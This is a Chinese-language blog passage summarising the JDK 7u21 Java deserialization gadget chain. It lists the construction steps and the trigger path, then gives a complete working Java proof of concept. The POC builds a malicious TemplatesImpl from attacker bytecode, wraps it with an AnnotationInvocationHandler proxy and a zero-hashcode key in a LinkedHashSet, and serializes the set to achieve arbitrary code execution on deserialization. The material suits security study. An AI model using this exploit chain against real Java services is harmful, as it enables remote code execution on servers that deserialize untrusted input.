返回介绍

4 总结

发布于 2024-09-16 15:35:01 字数 5085 浏览 0 评论 0 收藏 0

按照如下步骤来构造:

  • 生成恶意 TemplateImpl 对象
  • 实例化 AnnotationInvocationHandler 对象
    • type 属性是 TemplateImpl
    • memberValues 属性是一个 Map,Map 只有一个 key 和 value,key 是字符串 , value 是前面生成的恶意 TemplateImpl 对象
  • 对这个 AnnotationInvocationHandler 对象做一层代理,生成 proxy 对象
  • 实例化一个 HashSet,这个 HashSet 有两个元素,分别是:
    • TemplateImpl 对象
    • proxy 对象
  • 将 HashSet 对象进行序列化

反序列化触发代码执行的流程如下:

  • 触发 HashSet 的 readObject 方法,其中使用 HashMap 的 key 做去重
  • 去重时计算 HashSet 中的两个元素的 hashCode ,通过构造二者相等,进而触发 equals() 方法
  • 调用 AnnotationInvocationHandler#equalsImpl 方法
  • equalsImpl 中遍历 this.type 的每个方法并调用
  • this.typeTemplatesImpl 类,所以触发了 newTransform()getOutputProperties() 方法
  • 任意代码执行

POC 如下:

package main.java;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class OriginalGadgetDemo {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/7u21Gadget/src/main/java/EvilTemplatesImpl.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个 map,并添加 Magic Number 为 key,也就是 f5a5a608,value 先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化 AnnotationInvocationHandler 类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为 tempHandler 创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(OriginalGadgetDemo.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化 HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意 templates 设置到 map 中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文